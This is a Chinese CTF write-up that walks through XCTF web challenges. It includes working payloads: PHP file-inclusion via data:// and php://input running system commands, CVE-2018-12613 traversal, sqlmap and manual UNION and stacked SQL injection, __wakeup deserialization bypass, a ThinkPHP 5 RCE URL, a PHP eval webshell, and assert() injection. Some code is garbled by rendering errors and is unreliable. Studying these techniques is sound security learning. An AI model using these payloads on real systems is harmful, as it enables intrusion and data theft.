攻防世界-web高手进阶区

CTF 同时被 2 个专栏收录
12 篇文章 0 订阅
3 篇文章 0 订阅

文章目录


攻防世界-web高手进阶区

提示:这里是记录web的题目,这里我基本不讲很多细节,请自行下载Burpsuite,web题型使用的等等工具。浏览器我使用了火狐浏览器


说明,有的数字没有顺序,我可能是按照CTF题目类型来的,和题目难以来的。

1、baby_web

非常的简单,bp抓包直接把1.php去掉后,就看的flag了。

2、Training-WWW-Robots

非常的简单,点网页进去后,看到了robots.txt进去看到一个可以看到他有一个不允许访问的文件f10g.php,在访就出来了。

3、Web_php_include (文件包含+伪协议)

代码审计

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

思路
strstr()对大小敏感
str_replace()替换函数
找到输入page,如何找到php://则替换掉。
所以只要绕过strstr()函数,既然对大小写敏感,我们就换成小写。

1.方法

php://input(方式一)

解释
php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替
$HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下
$HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data
潜在需要更少的内存。 enctype=“multipart/form-data” 的时候 php://input 是无效的。不能使用get的

注意: 在 PHP 5.6 之前 php://input 打开的数据流只能读取一次; 数据流不支持 seek 操作。 不过,依赖于 SAPI
的实现,请求体数据被保存的时候, 它可以打开另一个 php://input 数据流并重新读取。 通常情况下,这种情况只是针对 POST
请求,而不是其他请求方式,比如 PUT 或者 PROPFIND。

  1. 造成文件包含漏洞的函数通常有:
    include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readline
    2.data协议
    用法:
    data://text/plain,xxxx(要执行的php代码)
    data://text/plain;base64,xxxx(base64编码后的数据)
    3.php://协议
    php://input,用于执行php代码,需要post请求提交数据。

Php 代码

<?php system('ls');?>
<?php system('cat');?> 这些都是php的代码

可以看现实出来

2.方法

data://text/plain

使用方法:data://text/plain;base64,xxxx(base64编码后的数据)

data://text/plain,<?php system("ls")?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

提交就可以

提交:data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

4.ics-06(bp爆破)

无厘头,爆破ID 先来一个数字的成功就不找了。
使用BP
设置
爆破后

4.warmup

知识点
双重编码+url+…/目录方法

解题步骤
看源码之后
在这里插入图片描述
发现有提示

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; //这里是提示
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

拿到源码
然后看到提示

在这里插入图片描述

if (! empty($_REQUEST['file'])  //$_REQUEST['file']值非空
        && is_string($_REQUEST['file'])  //$_REQUEST['file']值为字符串
        && emmm::checkFile($_REQUEST['file'])  //能够通过checkFile函数校验
    ) {
        include $_REQUEST['file'];  //包含$_REQUEST['file']文件
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
        //打印滑稽表情
    }  

'函数名: CheckFile
'作 用:检查某一文件是否存在
'参 数:FileName ------ 文件地址 如:/swf/1.swf
'返回值:False ---- True

一个if语句要求传入的file变量:
• 非空
• 类型为字符串
• 能够通过checkFile()函数校验
同时满足以上三个要求即可包含file中的文件,否则打印滑稽表情
回到上面checkFile()函数

注释了
 highlight_file(__FILE__); //打印代码
    class emmm  //定义emmm类
    {
        public static function checkFile(&$page)//将传入的参数赋给$page
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组
            if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串
                echo "you can't see it";//打印"you can't see it"
                return false;//返回false
            }

            if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中
                return true;//返回true
            }

            $_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);//url解码$page
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

可以看到函数代码中有四个if语句
• 第一个if语句对变量进行检验,要求$page为字符串,否则返回false

• 第二个if语句判断 p a g e 是 否 存 在 于 page是否存在于 pagewhitelist数组中,存在则返回true

• 第三个if语句判断截取后的 p a g e 是 否 存 在 于 page是否存在于 pagewhitelist数组中,截取$page中’?'前部分,存在则返回true

PHP mb_substr() 函数

<?php echo mb_substr("菜鸟教程", 0, 2);  
// 输出:菜鸟 
?>

mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。

在这里插入图片描述
• 第四个if语句判断url解码并截取后的 p a g e 是 否 存 在 于 page是否存在于 pagewhitelist中,存在则返回true
若以上四个if语句均未返回值,则返回false

class emmm
    {
        public static function checkFile(&$page)

        {
            //白名单列表
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            //isset()判断变量是否声明is_string()判断变量是否是字符串 &&用了逻辑与两个值都为真才执行if里面的值
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it A";
                return false;
            }
            //检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
            if (in_array($page, $whitelist)) {
                return true;
            }
            //过滤问号的函数(如果$page的值有?则从?之前提取字符串)
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')//返回$page.?里卖弄?号出现的第一个位置
            );

             //第二次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
            if (in_array($_page, $whitelist)) {
                return true;
            }
            //url对$page解码
            $_page = urldecode($page);

            //第二次过滤问号的函数(如果$page的值有?则从?之前提取字符串)
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            //第三次检测传进来的值是否匹配白名单列表$whitelist 如果有则执行真
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
}

可能博客有些地方说的还不够清楚,在这里在说明一下关于payload的问题!!
首先这个地方涉及到一个新的知识:双重编码
比如这题目你将?双重编码的话,经过包含时你包含的文件会被当成一个目录
在自己搭建的一个简单的环境下面举个例子
创建好这几个文件:
在这里插入图片描述
1.php里面是本题的漏洞源码
2.php里面是phpinfo();
source.php里面什么都没有,空的!主要为了通过白名单!
flag.txt乱写一个flag~
进行测试:
在漏洞源码中加上,以便观察:
在这里插入图片描述
构造号payload后能够很清楚的看见,是成功的,它是当作目录执行的:
在这里插入图片描述
同理flag.txt也可以这样得到:
在这里插入图片描述
总结
总之,就是双重编码的话,经过包含时你包含的文件会被当成一个目录!!!!
有三个if语句可以返回true,第二个语句直接判断$page,不可用
第三个语句截取’?‘前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为’?’,仍可通过第四个if语句校验。(’?‘两次编码值为’%253f’),构造url:
http://***😗**/source.php?file=source.php%253f…/ffffllllaaaagggg
无返回值,由于我们不知道ffffllllaaaagggg文件的具体位置,只能依次增加…/,最终在
http://***😗**/source.php?file=source.php%253f…/…/…/…/…/ffffllllaaaagggg中成功回显flag
该漏洞cve编号为CVE-2018-12613,详情请戳

6标题NewsCenter (sql注入)

很简单的一个SQL注入
两种方法
1.自动注入
自己BP抓包后,sqlmap post(不知道百度补充吧)
python sqlmap.py -r 1.txt –dbs
结果
在这里插入图片描述
sqlmap -r xctfrequest.txt -D news --tables
sqlmap -r xctfrequest.txt -D news -T secret_table --columns
sqlmap -r xctfrequest.txt -D news -T secret_table -C “id,fl4g” –dump
在这里插入图片描述
然你也可以一次性把new数据库内的内容全部爆出来,这样就不用一步步找flag在哪了,直接了当,所以对于有目的,好寻找的我们可以使用第一种步步深入;如果比较难找,就第二种方法比较好。

在这里插入图片描述
sqlmap -u “注入地址” --dbs // 列举数据库
sqlmap -u “注入地址” --tables -D “数据库” // 列举数据库的表名
sqlmap -u “注入地址” --columns -T “表名” -D “数据库” // 获取表的列名
sqlmap -u “注入地址” --dump -C “字段,字段” -T “表名” -D “数据库” // 获取表中的所有数据

sqlmap -r “含http头的文件” --dbs // 列举数据库
sqlmap -r “含http头的文件” --tables -D “数据库” // 列举数据库的表名
sqlmap -r “含http头的文件” --columns -T “表名” -D “数据库” // 获取表的列名
sqlmap -r “含http头的文件” --dump -C “字段,字段” -T “表名” -D “数据库” // 获取表中的所有数据

  1. Sqlmap -u url --dbs 显示数据库管理系统中所有数据库
    2.Sqlmap -u url --current -db 当前网站所使用得数据库
    3.Sqlmap -u url -D 数据库名 --tables 显示当前数据库中所有数据表
    4.Sqlmap -u url -D 数据库名 -T 表名 --columns 显示表中所有得字段名
    5.Sqlmap -u url -D 数据库名 -T 表名 -C 字段名,字段名,字段名…(互相用逗号隔开) --dump 显示数据

2.手动注入
知识背景
在这里插入图片描述
解题步骤

输入‘ 时直接看不到任何东西。
在这里插入图片描述
如何判断sql注入点

1,搜索框或URL尾端加 ’ 如果报错则可能存在sql注入漏洞
2,数字型判断是否有注入
and 1=1//返回正确页面
and 1=2//返回错误页面
3,字符型判断是否有注入
‘ and ‘1’='1//返回正确页面
’ and '1=2//返回错误页面

构造输入为:sd’ union select 1,2 #和sd’ union select 1,2 ,3# (第一个 ‘
闭合后台命令的第一个 ’ ,#注释掉后台的第二个 ’ )只有1,2,3时才正确返回,说明数据格式为3列。
接下来要利用INFORMATION_SCHEMA来得到所有表名,命令很多种,这里就这么构造: sd’ union select
1,2,table_name from information_schema.tables #
前面的1,2,就完全是凑列数的,得到一大串表名,耐下心来找,发现最后有一个secret_table数据库,按照攻防世界“此地无银三百两”的提示习惯,目标就是他,没跑儿了!
接下来就是要利用information_schema.columns的结构来获得secret表的信息了,根据一位大牛的文章,我们要得到的信息也就只有column_name了,或者再加上colume_type查看数据类型。那么构造:
sd’ union select 1,column_type,column_name from
information_schema.columns where table_name=‘secret_table’ #
里面果然有flag,那么就直接: sd’ union select 1,2,fl4g from secret_table #

构造方法2:
首先用 ’ and 0 union select 1,2,3 # 来初步判断该sql查询返回三列数据
在这里插入图片描述
然后用 ’ and 0 union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.COLUMNS # 得到表名,很明显我们需要得到 secret_table 表中的内容

在这里插入图片描述
再用 ’ and 0 union select 1,column_name,data_type from information_schema.columns where table_name=‘secret_table’# 得到 secret_table 表的列名以及数据类型
在这里插入图片描述
最后就可以简单粗暴地得到flag
’ and 0 union select 1,2,fl4g from secret_table #

下面是对这次的补充

从上图测试结果可知UNION后面跟的SELECT结果必须是两列,否则会出错。 对了,还记得注入时WHERE后是两个条件吗?(name =
‘name′ANDpasswd=′name′ANDpasswd=′passswd
‘),在实际代码中可能会是更复杂的条件,甚至黑客也很难猜测的条件,那这个UNION语然该插在那个变量呢?使得整个SQL还是个合法的查询语句。
最好安全的做法是将UNION SELECT
…注入到第一个变量中,然后注入的尾部增加一个注释符号,将后的语句注释掉,就不会考虑后面的是什么语句了。在MySQL数据库,使用#符号即可实现注释。
说了这么多,可以做一下注入测试,验证一下: 在username文本框中输入:ivan’ union select 1,2#,如下图:
在这里插入图片描述

点login 按钮后的运行结果如下图所示:

在这里插入图片描述
请留注下红框中生成的SQL语句:
SELECT * FROM userinfo WHERE name = ‘ivan’ union select 1,2# AND passwd = ”
#将后面的SQL内容注释掉了,MySQL解析时直接将它干掉,相当于下面的SQL语句:
SELECT * FROM userinfo WHERE name = ‘ivan’ union select 1,2
select 1, 2的结果是常数行, 在后面的例中尝试从表中查询数据,而不完全是常数行。
好了 ,UNION和#就是撬动爆库的那个支点

总结

原来SQL注入爆数据库是这么容易的,但有几个必备条件

  1. MySQL中出现一个元数据库information_schema,它描述整个MySQL服务器所有数据库->表->字段关系树
  2. SQL语言提供了UNION语句,可以新增窃取其它数据合并到被注入SELECT结果
  3. MySQL对SQL做扩展,提供注释符#,让注入可以为所欲为

7. unserialize3(反序列化)

在这里插入图片描述
在这里插入图片描述
__construct() //当一个对象创建时被调用
__destruct() //对象被销毁时触发
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__toString() //把类当做字符串时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性

参考了
参考1
参考2
百度一下 发现这是一个CVE漏洞 ==》当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
一次我们修改我们注入的值为:

• 了解php反序列化中__wakeup漏洞的利用

• 了解php魔术方法 • __construct(), __destruct(), __call(), __callStatic(),
__get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __toString(), __invoke(), __set_state(), __clone() 和 __debugInfo() 等方法在 PHP 中被称为魔术方法(Magic methods)。在命名自己的类方法时不能使用这些方法名,除非是想使用其魔术功能
• 注意:PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法。所以在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。
• __sleep() 和 __wakeup() public __sleep ( void ) : array
__wakeup ( void ) : void serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则
NULL 被序列化,并产生一个 E_NOTICE 级别的错误。 Note: (1)__sleep()
不能返回父类的私有成员的名字。这样做会产生一个 E_NOTICE 级别的错误。可以用 Serializable 接口来替代。
(2)__sleep() 方法常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。
(3)与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup
方法,预先准备对象需要的资源。 (4)__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。
• 访问控制 PHP 对属性或方法的访问控制,是通过在前面添加关键字 public(公有),protected(受保护)或
private(私有)来实现的。 public(公有):公有的类成员可以在任何地方被访问。
protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问。
private(私有):私有的类成员则只能被其定义所在的类访问。 • unserialize() 将已序列化的字符串还原回 PHP 的值。
序列化请使用 serialize() 函数。 语法 unserialize(str) 参数 描述 str 必需。一个序列化字符串。
__wakeup()是用在反序列化操作中。unserialize()会检查存在一个__wakeup()方法。如果存在,则先会调用__wakeup()方法。

解题步骤

代码中的__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的,这里没有序列化字符串,何来反序列化呢?于是,我们这里实例化xctf类并对其使用序列化(这里就实例化xctf类为对象peak)。

序列化
因此,我们要反序列化xctf类的同时还要绕过__wakeup方法的执行(如果不绕过__wakeup()方法,那么将会输出bad requests并退出脚本),就要修改序列化字符串中的属性个数:
当我们将上述的序列化的字符串中的对象属性个数由真实值1修改为3,即如下所示
在这里插入图片描述

7.1Web_php_unserializ

两个难点》

  1. preg_match(’/[oc]:\d+:/i’, $var)的绕过
  2. unserialize时__wakeup的绕过 首先直接尝试序列化 这段preg_match()匹配的为 o或c : 任意长度数字(至少一个) /i表示匹配时不区分大小写

在这里插入图片描述

还有一个就是php 中+4 =4
PHP preg_match() 函数
这个师傅讲得挺好的清晰的。

正则表达在线看看:https://tool.oschina.net/regex

正则表达匹配

看看匹配的是什么?

在线php运行https://tool.lu/coderunner/
在这里插入图片描述
在这里插入图片描述

<?php

class Demo {
private KaTeX parse error: Expected group after '_' at position 41: …ublic function _̲_construct(file) {
$this->file = KaTeX parse error: Expected 'EOF', got '}' at position 12: file; }̲ function _…this->file, true);
}
function __wakeup() {
if ($this->file != ‘index.php’) {
//the secret is in the fl4g.php
$this->file = ‘index.php’;
}
}
}
$A = new Demo(‘fl4g.php’);
C = s e r i a l i z e ( C = serialize( C=serialize(A);
echo $C;
//string(49) “O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}”
C = s t r r e p l a c e ( ′ O : 4 ′ , ′ O : + 4 ′ , C = str_replace('O:4', 'O:+4', C=strreplace(O:4,O:+4,C);//绕过preg_match
C = s t r r e p l a c e ( ′ : 1 : ′ , ′ : 2 : ′ , C = str_replace(':1:', ':2:', C=strreplace(:1:,:2:,C);//绕过wakeup
var_dump( C ) ; / / s t r i n g ( 49 ) " O : + 4 : " D e m o " : 2 : s : 10 : " D e m o f i l e " ; s : 8 : " f l 4 g . p h p " ; " v a r d u m p ( b a s e 6 4 e n c o d e ( C); //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}" var_dump(base64_encode( C);//string(49)"O:+4:"Demo":2:s:10:"Demofile";s:8:"fl4g.php";"vardump(base64encode(C));
//string(68) “TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==”

?>

8.php_rce (远程控制利用)

漏洞详细地址
参考1

在这里插入图片描述
进入后发现是一个php框架,根据题目php-rce远程命令执行,我们在github上一下这个版本有什么漏洞:
在这里插入图片描述
在这里插入图片描述
发现好几个版本,我们只知道5.0随便输入一个试一试,发下新有提示为5.0.2

在这里插入图片描述
payload

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

http://localhost/thinkphp_5.0.21/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

在这里插入图片描述
可以看到了是linux 系统然后随便使用几个命令
Ls cat find -name “flag”等等
Ls / 根目录
Ls …/ 上一个目录
在这里插入图片描述
在这里插入图片描述
Ls …/…/…/ 返回到了跟目录了。
在这里插入图片描述
拿到flag

9.PHP2(两次URL编码 )

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}
 
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?> 

打开题目一点思路都没有?
竟然是用御剑扫描一下

御剑扫不到,除非你有字典了

在这里插入图片描述
分析源码,需要绕过"admin"=== G E T [ i d ] , 再 结 合 u r l d e c o d e ( _GET[id],再结合urldecode( GET[id]urldecode(_GET[id]),由于浏览器会自动url解码一次,我们可以通过两次hex编码(url编码在此基础上加%)即可,当然这里我们可以对admin全部编码,也可以部分编码,都是可以绕过的。

对a字母进行两次url编码
第一次url编码:a ==> %61 //a的ascii码是97,而97的十六进制是61,再加上一个%,最终得到%61
第二次url编码:%61 ==> %25%36%31 //分别对%,6,1进行url编码,%的ascii码是37,37的hex值是25,再加上一个%,最终就是%25,6的ascii码是54,54的hex值是36,加上一个%,最终就是%36,1同理

使用在线工具对a进行url编码的时候,还是会得到a,这时候就需要知道编码的规则
%25%36%31 == %2561 why?
Answer:
%2561解码一次得到 %61,因为url编码是%加上两位数字,所以先对%25进行url解码得到%本身,而61是数字用不解码,就得到%61 二次解码得到a
%25%36%31 第一次解码 %25==>% %36==>6 %31==>1 于是解码一次得到 %61 解码第二次得到a
在这里插入图片描述
在这里插入图片描述
知识点总结

  1. php备份文件:后缀为php~或者index.php.bak

  2. php的源代码文件:后缀为phps

  3. =:php的恒等运算符,和有区别,从w3cschool截了张图:

在这里插入图片描述

10.NaNNaNNaNNaN-Batman

太单一了
参考添加链接描述
知识点
Js代码可以用htlm打开
eval(_)

在这里插入图片描述
在这里插入图片描述
HTML DOM console.log() 方法

在这里插入图片描述
在这里插入图片描述
alert(_)
可以弹出框框和代码

Match()正则表达匹配

在这里插入图片描述
一、行定位符(^和 )     行 定 位 符 就 是 用 来 描 述 字 串 的 边 界 。 “ ” 表 示 行 的 开 始 ; “ )   行定位符就是用来描述字串的边界。“^”表示行的开始;“   ”表示行的结尾。如:
  ^tm : 该表达式表示要匹配字串tm的开始位置是行头,如tm equal Tomorrow Moon就可以匹配
  tm$ : 该表达式表示要匹配字串tm的位置是行尾,Tomorrow Moon equal tm匹配。
  如果要匹配的字串可以出现在字符串的任意部分,那么可以直接 写成 :tm

1、首先将最后的eval()改为console.log(),并用浏览器上的控制台运行这段代码,发现变量_是一个函数:

在这里插入图片描述
整理的:

在这里插入图片描述
审计代码,也就是在web100,也就是在一开始的输入框里输入的值要满足下面五个条件的判断才能执行下面的代码

• 输入的字符串长度必须为16个字符
• 字符串的开头必须要匹配be0f23
• 字符串的结尾必须要匹配e98aa
• 字符串中要能匹配到233ac和c7be9
因为限制了字符串的长度,因此这里要利用重叠来构造长度为16且满足所有正则表达式的字符串。
构造如下:be0f233ac7be98aa
将那段代码保存为 html文件,打开后输入 be0f233ac7be98aa 得到flag
flag{it’s_a_h0le_in_0ne}

补充:
在这里插入图片描述

解题步骤:

11.upload1(一句话木马简单)

Bp截取包后,这里现在了只能上传图片,然后上传图片后,用bp修改成php一句话木马。

<%php @eval($_POST[xxx]);?>

在这里插入图片描述

然后使用中国菜刀
随便上传一个东西然后发现

在这里插入图片描述

使用bp看了一下包

Array.prototype.contains = function (obj) {  
    var i = this.length;  
    while (i--) {  
        if (this[i] === obj) {  
            return true;  
        }  
    }  
    return false;  
}  

function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,''); //正则表达式

if(['jpg','png'].contains(ext)){ //白名单
	submit.disabled = false;
}else{
	submit.disabled = true;

	alert('请选择一张图片文件上传!');
}


}

Php上传一句话木马,很简单
这里过滤;额
想到是上传一句话木马

12.supersqli(sql注入)

知识点

  1. 堆叠注入是重点
  2. 2.预编译 https://blog.csdn.net/Just__2009/article/details/109126437

在这里插入图片描述
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。

堆叠的语句是任意的而union只能用来查询
堆叠注入原理:链接

Sqlmap 的使用的教程:

使用sqlmap跑不出来没有用

在这里插入图片描述

1.输入1’发现不回显,然后1’ #显示正常,应该是存在sql注入了

使用单引号报错,说明有注入的漏洞
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’’’ at line 1

‘1 order by 2# 然后试试

在这里插入图片描述

在这里插入图片描述
1’ order by 3# 然后试试
在这里插入图片描述
order by 2的时候页面正常回显,order by 3的时候页面出错,所以我们知道只有两个字段。

使用这种—1’ union select 1,2#

在这里插入图片描述
发现select 被过滤了。

叠合注入

-1’;show tables # 显示表有哪些

在这里插入图片描述

参考

https://www.cnblogs.com/joker-vip/p/12483823.html

https://blog.csdn.net/nicesa/article/details/106390405 这个讲得很好

0x01

拿到题目后,发现是单引号报错字符型注入
在这里插入图片描述
order by 2的时候页面正常回显,order by 3的时候页面出错,所以我们知道只有两个字段。
接下来union联合查询,发现select被过滤了

在这里插入图片描述
所以我们需要绕过select的过滤,下面有几种方法

0x02

堆叠查询+预编译

我们发现这里可以执行多sql语句,所以我们可以采用堆叠查询,那我们查询表名,结果如下:

在这里插入图片描述
查询表名中的列名,结果如下:

在这里插入图片描述

在这里插入图片描述

所以我们找到flag在第一个表中,那么接下来我们要查看flag中的内容,但是这里select被过滤了,所以我们必须得绕过这个过滤,怎么绕过呢?我们可以采用预编译的方式进行绕过**

-1';set @sql = CONCAT('sele','ct * from `1919810931114514`;');prepare aaa from @sql;EXECUTE aaa;#
但是当我们执行预编译语句的时候出现下图结果:

在这里插入图片描述
所以这里还同时过滤了set和prepare,那我们同时也要绕过它,如何绕过,我们可以采用大小写的形式进行绕过(经尝试,双写无法绕过)

1’;sEt @sql = CONCAT(‘sele’,‘ct * from 1919810931114514;’);prepArE aaa from @sql;EXECUTE aaa;#

在这里插入图片描述

0x03
handler查询
mysql可以使用select查询表中的数据,也可使用handler语句,这条语句是一行一行的浏览一个表中的数据。
handler可以用于MyISAM和InnoDB表。
使用方法:
handler table_name open打开一张表
handel table_name read first读取第一行内容,
handel table_name read next依次获取其它行
最后一行执行之后再执行handel table_name read next会返回一个空的结果。

-1’;handler 1919810931114514 open;handler 1919810931114514 read first;#

上面payload是两个语句,一个是打开表,一个是读表中的第一行字段中的内容

执行结果如下:

在这里插入图片描述

14.web2(解密)

在这里插入图片描述

PHP strrev() 函数
反转字符串 “I love Shanghai!”:

PHP substr() 函数
在这里插入图片描述
定义和用法
substr() 函数返回字符串的一部分。
注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
默认是到结尾去了

str_rot13() 函数对字符串执行 ROT13 编码。

在这里插入图片描述

在这里插入图片描述
o = s t r r e v ( _o=strrev( o=strrev(str); 对$str字符串进行 字符反转(比如 abc = cba)
• 第二部分 for{……} 就是对 s t r 字 符 串 每 个 字 符 + 1 , ( 如 : a = b 、 c = d ) • r e t u r n s t r r o t 13 ( s t r r e v ( b a s e 6 4 e n c o d e ( str字符串 每个字符+1,(如:a=b、c=d) • return str_rot13(strrev(base64_encode( str+1a=bc=dreturnstrrot13(strrev(base64encode(_))); 括号具有优先级,里面优先级最高,所以,按顺序:base64_encode 先对 for循环后的字符串 进行base64
加密,strrev 对字符串进行反转,str_rot13 对字符串进行ROT13编码,return 返回值为:$miwen

编写解密代码:定义一个decode方法,依次对字符串进行 ROT13解码 -> 字符串反转 -> base64解密 -> for{……} 每个字符减一 -> 字符串反转 -> 输出flag

15. mfw(git泄露问题+弱语句)

参考链接

知识点

assert() 检查一个断言是否为 FALSE
strpos() 函数查找字符串在另一字符串中第一次出现的位置。如果没有找到则返回False
file_exists() 函数检查文件或目录是否存在。
assert()函数会将括号中的字符当成代码来执行,并返回true或false。
在这里插入图片描述
Php or 语句
在这里插入图片描述

经常看到这样的语句:
file=fopen(file=fopen(filename, ‘r’) or die(“抱歉,无法打开: filename”);or在这里是这样理解的,因为在PHP中并不区分数据类型,所以filename");or在这里是这样理解的,因为在PHP中并不区分数据类型,所以file既可以是int也可以bool,所以这样的语句不会报错。但其处理过程可能有些朋友不大明白。
其实在大多数的语言中, bool or bool这样的语句中,如果前一个值为真后一个值就不会再判断了。这里也是的,所以如果fopen函数执行正确的话,会返回一个大于0的int值(这其实就是“真”),后面的语句就不会执行了。如果fopen函数执行失败,就会返回false,那么就会判断后面的表达式是否为真了。
结果执行了die()之后,不管返回什么,程序都已经停止执行了,并且显示指定的出错信息,也就达到了调试的目的。

Php注释

总结PHP 三种注释的方式

任何一门编程语言都有编程注释,注释的作用可以调试,可以描述代码的作用等等,说说那么PHP三种注释的方式 1, // 这是单行注释 2,#
这也是单行注释 3,/* /多行注释块 / 这是多行注释块 它横跨了 多行
*/ PHP 代码中的注释不会被作为程序来读取和执行。它唯一的作用是供代码编辑者阅读。

1、dirsearch-master

相当好用的轻量扫描
https://www.freebuf.com/column/153277.html
常用

python3 dirsearch.py -u url -e php

2、GitHack

一个git泄露利用脚本,很好用~
https://www.freebuf.com/sectool/66096.html
常用
python27 GitHack.py url/.git/

3、strpos()

在这里插入图片描述

<?php echo strpos("You love php, I love php too!","php"); ?>

运行结果:9

4、assert()
https://www.cnblogs.com/yuerdongni/archive/2013/10/12/3364954.html
用来判断一个表达式是否成立。返回true or false
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。 assertion 是字符串的优势是当禁用断言时它的开销会更小,并且在断言失败时消息会包含 assertion 表达式。 这意味着如果你传入了 boolean 的条件作为 assertion,这个条件将不会显示为断言函数的参数;在调用你定义的 assert_options() 处理函数时,条件会转换为字符串,而布尔值 false 会被转换成空字符串。

5、file_exists()
构造闭合 file_exists(),使assert()执行恶意代码。 判断这个目录是否存在。

解题步骤

在这里插入图片描述

看到这个一般想到是文件包含等等,然后php语句显示flag
重点’

在这里插入图片描述
看到git 我们就扫描一次看看是不是文件泄露。
在这里插入图片描述
接下来就是下面的操作了。
从下载的文件来看 我们知道了flag的位置,直接就构造直接显示,

解题1

代码中不允许输入的字符中包含连续的两个点,否则就返回错误 这段代码中只用黑名单过滤了连个点,我们可以想办法绕过。 比如传入page=aa’)
or phpinfo();#,如此代码就变为了$file=templates/aa’) or phpinfo();#.php
然后源码中的判断变成了下面这样:

assert(“strpos(‘templates/aa’) or phpinfo();#.php’, ‘…’) === false”)
or die(“Detected hacking attempt!”);
assert(“file_exists(‘templates/aa’) or phpinfo();#.php’)”) or
die(“That file doesn’t exist!”);

如此一来就会执行phpinfo()
在这里插入图片描述
传入’page=aa’) or print_r(file_get_contents(‘templates/flag.php’));#‘即可得到flag.php的内容
但是尝试无果,可能系统仅用了file_get_contents函数
只好换一种方法尝试,测试下能否执行系统函数system()
